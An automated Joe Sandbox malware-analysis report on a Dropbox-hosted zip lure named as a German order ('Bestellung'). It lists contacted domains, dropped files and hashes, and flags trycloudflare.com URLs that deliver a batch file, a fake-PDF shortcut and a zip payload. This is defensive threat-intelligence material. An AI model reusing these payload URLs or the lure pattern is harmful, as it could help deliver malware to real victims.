Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://x1.i.lencr.org/	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	unknown
edge-block-www-env.dropbox-dns.com	162.125.66.15	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
retailer-indicators-resume-key.trycloudflare.com	104.16.231.132	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	unknown
dl.dropboxusercontent.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0	false	unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/tue.bat	true	unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnk	true	unknown
https://retailer-indicators-resume-key.trycloudflare.com/toto.zip	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://theme-crack-emissions-perspectives.trycloudflare.com/tue.bat4	rundll32.exe, 0000001F.00000002.1961788980.0000020686528000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000024.00000002.2402487121.0000013E46D58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.34.dr	false	URL Reputation: safe	unknown
https://retailer-indicators-resume-key.trycloudfla	powershell.exe, 00000024.00000002.2355149096.0000013E37EEE000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/C:	rundll32.exe, 00000011.00000002.1551843850.000001EC8FB50000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000016.00000002.1565812654.0000020B53770000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2406744856.0000013E4EBF2000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkC:	rundll32.exe, 00000018.00000002.1742704031.00000289049E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/tue.batC:	rundll32.exe, 0000001F.00000002.1961788980.0000020686520000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000024.00000002.2355149096.0000013E37D05000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnks=C:	rundll32.exe, 00000018.00000002.1742917977.0000028904C60000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://retailer-indicators-resume-key.trycloudflare.com/toto.zip&	cmd.exe, 0000001E.00000003.2317191329.0000025D62B69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/OT	rundll32.exe, 00000016.00000002.1565812654.0000020B53778000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://retailer-indicators-resume-key.trycloudflare.com/toto.zip;	powershell.exe, 00000024.00000002.2352815037.0000013E34C50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkL	rundll32.exe, 00000018.00000002.1742704031.0000028904A3C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://retailer-indicators-resume-key.trycloudflare.com	powershell.exe, 00000024.00000002.2355149096.0000013E38180000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkrw	rundll32.exe, 00000018.00000002.1742704031.00000289049E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnkq	rundll32.exe, 00000018.00000002.1742704031.00000289049E7000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://retailer-indicators-resume-key.trycloudflare.com	powershell.exe, 00000024.00000002.2355149096.0000013E37EEE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2355149096.0000013E36DC1000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/	rundll32.exe, 00000016.00000002.1565812654.0000020B53770000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000018.00000002.1742704031.0000028904A5B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001F.00000002.1961788980.000002068657C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000001F.00000002.1961788980.0000020686586000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/#	rundll32.exe, 00000016.00000002.1565812654.0000020B537CB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://retailer-indicators-resume-key.trycloudflare.com/toto.zipWindows##	cmd.exe, 0000001E.00000003.2317191329.0000025D62B69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://retailer-indicators-resume-key.trycloudflare.com/toto.zipO	cmd.exe, 0000001E.00000003.2317191329.0000025D62B49000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000003.2318311250.0000025D62B4F000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2350815549.0000025D62B4D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/DE/bestellung-DKM00392pdf.lnk:	rundll32.exe, 00000018.00000002.1742704031.00000289049E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://retailer-indicators-resume-key.trycloudflare.com/toto.zipxit	cmd.exe, 0000001E.00000003.2317191329.0000025D62B69000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000024.00000002.2402487121.0000013E46D58000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2402487121.0000013E46C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/ll	rundll32.exe, 00000011.00000002.1551843850.000001EC8FB58000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000024.00000002.2355149096.0000013E36BA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/ESSOR_REVISION	rundll32.exe, 00000011.00000002.1552005067.000001EC8FF00000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/55theme-crack-emissions-perspectives.tr	rundll32.exe, 0000001F.00000002.1961788980.0000020686586000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/ESSOR_REVISIONJ	rundll32.exe, 00000016.00000002.1566077343.0000020B53A00000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000024.00000002.2355149096.0000013E36BA1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://retailer-indicators-resume-key.trycloudflare.com/toto.zipX	powershell.exe, 00000024.00000002.2352815037.0000013E34C50000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://theme-crack-emissions-perspectives.trycloudflare.com/tue.batq	rundll32.exe, 0000001F.00000002.1962100847.0000020686810000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.228	www.google.com	United States	15169	GOOGLEUS	false
162.125.66.15	edge-block-www-env.dropbox-dns.com	United States	19679	DROPBOXUS	false
104.16.231.132	retailer-indicators-resume-key.trycloudflare.com	United States	13335	CLOUDFLARENETUS	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
96.7.168.138	unknown	United States	262589	INTERNEXABRASILOPERADORADETELECOMUNICACOESSABR	false

Private

IP
192.168.2.17
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541917
Start date and time:	2024-10-25 10:15:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.spyw.evad.win@50/61@6/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, mrxdav.sys, dllhost.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, TextInputHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.227, 216.58.212.174, 64.233.167.84, 34.104.35.123, 199.232.210.172, 192.229.221.95, 142.250.186.163, 142.250.186.110, 184.28.88.176, 52.5.13.197, 23.22.254.206, 54.227.187.23, 52.202.204.11, 162.159.61.3, 172.64.41.3, 2.19.126.149, 2.19.126.143, 2.23.197.184, 93.184.221.240
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, clientservices.googleapis.com, acroipm2.adobe.com, wu.azureedge.net, clients2.google.com, ocsp.digicert.com, login.live.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, update.googleapis.com, hlb.apr-52dd2-0.edgecastdns.net, theme-crack-emissions-perspectives.trycloudflare.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, edgedl.me.gvt1.com, evoke-windowsservices-tas.msedge.net, clients.l.google.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://dl.dropboxusercontent.com/scl/fi/kzw07ghqs05mfyhu8o3ey/BestellungVRG020002.zip?rlkey=27cmmjv86s5ygdnss2oa80i1o&st=86cnbbyp&dl=0

Simulations

Behavior and APIs

Time	Type	Description
04:17:21	API Interceptor	43x Sleep call for process: powershell.exe modified
04:17:29	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.179247290750699
Encrypted:	false
SSDEEP:	6:AeBIq2PsHO2nKuAl9OmbnIFUt8709Zmw+7XkwOsHO2nKuAl9OmbjLJ:9IvkHVHAahFUt8Y/+D51HVHAaSJ
MD5:	A9BB05A54A0A0A98D8918954AD95F7F4
SHA1:	CCE1065DEE665A5691EB67836A11B0A97AECE93F
SHA-256:	70C61D06011D208F2137204FFC31D8EAAFD9A69DAD650D5A138102AF9D1A552A
SHA-512:	F960A8AE506EA0E61808BCF62FE6C07F62797E877410ABBD12B0034692696EDC1A833CCAA4E57DEE3864ABF0766B6CB532C8683041B5E6B13377E8AA4B2EFFA1
Malicious:	false
Reputation:	low
Preview:	2024/10/25-04:17:19.260 c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/25-04:17:19.262 c04 Recovering log #3.2024/10/25-04:17:19.263 c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.179247290750699
Encrypted:	false
SSDEEP:	6:AeBIq2PsHO2nKuAl9OmbnIFUt8709Zmw+7XkwOsHO2nKuAl9OmbjLJ:9IvkHVHAahFUt8Y/+D51HVHAaSJ
MD5:	A9BB05A54A0A0A98D8918954AD95F7F4
SHA1:	CCE1065DEE665A5691EB67836A11B0A97AECE93F
SHA-256:	70C61D06011D208F2137204FFC31D8EAAFD9A69DAD650D5A138102AF9D1A552A
SHA-512:	F960A8AE506EA0E61808BCF62FE6C07F62797E877410ABBD12B0034692696EDC1A833CCAA4E57DEE3864ABF0766B6CB532C8683041B5E6B13377E8AA4B2EFFA1
Malicious:	false
Reputation:	low
Preview:	2024/10/25-04:17:19.260 c04 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/10/25-04:17:19.262 c04 Recovering log #3.2024/10/25-04:17:19.263 c04 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.165756855626663
Encrypted:	false
SSDEEP:	6:xgM+q2PsHO2nKuAl9Ombzo2jMGIFUt8cRFsZmw+cUlMVkwOsHO2nKuAl9Ombzo23:OM+vkHVHAa8uFUt8Wm/+ZlMV51HVHAaU
MD5:	D770DAFDE84DFF5847D550DB5C6DCCBE
SHA1:	3EB158FF5E4BE00BDAA755A54AE5931AB209CAF3
SHA-256:	8186BE042CC14FC571C476384CAB215DBA554D1F5E1633443FAB93985603D619
SHA-512:	E1440CB83E62468A0473C4C3148A93260F4DF9EDDFB7030C0E06EDB15F983228507F35D938EDEFE162ED4AEEFE8DAA0F26170AEB273291691E3B192F8A8E8178
Malicious:	false
Reputation:	low
Preview:	2024/10/25-04:17:19.130 1a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/25-04:17:19.133 1a6c Recovering log #3.2024/10/25-04:17:19.134 1a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.165756855626663
Encrypted:	false
SSDEEP:	6:xgM+q2PsHO2nKuAl9Ombzo2jMGIFUt8cRFsZmw+cUlMVkwOsHO2nKuAl9Ombzo23:OM+vkHVHAa8uFUt8Wm/+ZlMV51HVHAaU
MD5:	D770DAFDE84DFF5847D550DB5C6DCCBE
SHA1:	3EB158FF5E4BE00BDAA755A54AE5931AB209CAF3
SHA-256:	8186BE042CC14FC571C476384CAB215DBA554D1F5E1633443FAB93985603D619
SHA-512:	E1440CB83E62468A0473C4C3148A93260F4DF9EDDFB7030C0E06EDB15F983228507F35D938EDEFE162ED4AEEFE8DAA0F26170AEB273291691E3B192F8A8E8178
Malicious:	false
Reputation:	low
Preview:	2024/10/25-04:17:19.130 1a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2024/10/25-04:17:19.133 1a6c Recovering log #3.2024/10/25-04:17:19.134 1a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	6268
Entropy (8bit):	5.240581534699412
Encrypted:	false
SSDEEP:	192:TUi8h+F8Aj8DRCGwtqzmsLnNreR2ZpjRe4I8qr9jnNI92D3jC+3ETKEAE8lHebP:jX8eQYc
MD5:	0AD07A14E68E978BBA8DF325057093FA
SHA1:	4D11B5008D9E09DB6352653C7BD0D483C3E5C23E
SHA-256:	7585683D2D77522974A4114B860A96567DCB8130ED6673A35945177EB49F279B
SHA-512:	8EEF2753693EC1D402E41116E93D5D36E3E561A70BE1313F4905B7898A589AEA094C47948064DBEACAB6BA27D43A42129AD61302D67E1708B1FA69D3FFDEFA61
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-....o................next-map-id.1.Pnamespace-42000ee3_e7f8_4e1a_acf9_c35e414a379e-https://rna-resource.acrobat.com/.0F...r................next-map-id.2.Snamespace-c3e8f6d4_f714_436a_92db_f0a4810aae6e-https://rna-v2-resource.acrobat.com/.1.p..r................next-map-id.3.Snamespace-d0743b68_de08_4f3c_b7bc_aca178ee7ff1-https://rna-v2-resource.acrobat.com/.2....o................next-map-id.4.Pnamespace-ce27b6a8_7896_4616_ab45_36a5ede234ad-https://rna-resource.acrobat.com/.3..).^...............Pnamespace-42000ee3_e7f8_4e1a_acf9_c35e414a379e-https://rna-resource.acrobat.com/...^...............Pnamespace-ce27b6a8_7896_4616_ab45_36a5ede234ad-https://rna-resource.acrobat.com/.{VUa...............Snamespace-c3e8f6d4_f714_436a_92db_f0a4810aae6e-https://rna-v2-resource.acrobat.com/....a...............Snamespace-d0743b68_de08_4f3c_b7bc_aca178ee7ff1-https://rna-v2-resource.acrobat.com/yATuo................next-map-id.5.Pnamespace-eb3aef6d_d129_430c_a353_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1745692354669
Encrypted:	false
SSDEEP:	6:zb8M+q2PsHO2nKuAl9OmbzNMxIFUt8ebXZmw+eCMVkwOsHO2nKuAl9OmbzNMFLJ:zb8M+vkHVHAa8jFUt8eL/+eCMV51HVHP
MD5:	162DEA4624BB861AAC4154705E24B0AB
SHA1:	48C981C9A6046C0E2FAFB73F2D0EC56051C9309E
SHA-256:	DF9AEF67068EEA417A7A63015522E3C620F38E34E1E6A55C524AF9BD19A2B226
SHA-512:	721A08C3E570419AF58A363D561881AD3A347546A7AA5D71ECB5FE4400D42E7ADE06CCB2ABF7D6ED9CD1A763B17F127CF08FCC577C9D08951333CF1E644A22F9
Malicious:	false
Reputation:	low
Preview:	2024/10/25-04:17:19.305 1a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/25-04:17:19.307 1a6c Recovering log #3.2024/10/25-04:17:19.310 1a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.1745692354669
Encrypted:	false
SSDEEP:	6:zb8M+q2PsHO2nKuAl9OmbzNMxIFUt8ebXZmw+eCMVkwOsHO2nKuAl9OmbzNMFLJ:zb8M+vkHVHAa8jFUt8eL/+eCMV51HVHP
MD5:	162DEA4624BB861AAC4154705E24B0AB
SHA1:	48C981C9A6046C0E2FAFB73F2D0EC56051C9309E
SHA-256:	DF9AEF67068EEA417A7A63015522E3C620F38E34E1E6A55C524AF9BD19A2B226
SHA-512:	721A08C3E570419AF58A363D561881AD3A347546A7AA5D71ECB5FE4400D42E7ADE06CCB2ABF7D6ED9CD1A763B17F127CF08FCC577C9D08951333CF1E644A22F9
Malicious:	false
Reputation:	low
Preview:	2024/10/25-04:17:19.305 1a6c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/25-04:17:19.307 1a6c Recovering log #3.2024/10/25-04:17:19.310 1a6c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444818230111507
Encrypted:	false
SSDEEP:	384:yeZci5tjiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:Fws3OazzU89UTTgUL
MD5:	C6468AAFCBBA9A6DB1F20C79FDE356B1
SHA1:	377D2282123D0D37FF046D2F88442E1B1325CA44
SHA-256:	17D6D7376AEA8F35DFEB2C708B410192A5142479E83B08F26C878BBCB480FE19
SHA-512:	07C0BDA782FE590AE8EA067E49509B5051C643B5E6F544F4D2CB2ED4717171F691BD01B2F328852A7E5E54B08A83EE019C81EE077D4349C88FAA9468EF5DC4F1
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.764670941621999
Encrypted:	false
SSDEEP:	48:7M5AjioyVr0ioyfjoy1Cioy16oy10nKOioy1noy1AYoy1Wioy11ioyeioyBoy1nC:7Gqur0+MANX2ji5b9IVXEBodRBkW
MD5:	9D087552C98BE6957F1159827C09CD13
SHA1:	8255AFFE1D43C9189A54296D15F43DF9A5F6CDD0
SHA-256:	DFC25D512DEA9262754F1AA71C7DE51C6A5EE8BF1E03FA27D89D022CED85883C
SHA-512:	7186A34A0AC0FDCFAC80C4FEDC6D6444B8C7249D3D24B11F668EAB3554D1732D67FD5AFE695FA311FC7B7059E149508A4D8FBE8833248832F9A520BFB91B0D41
Malicious:	false
Reputation:	low
Preview:	.... .c.......<................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Reputation:	low
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	low
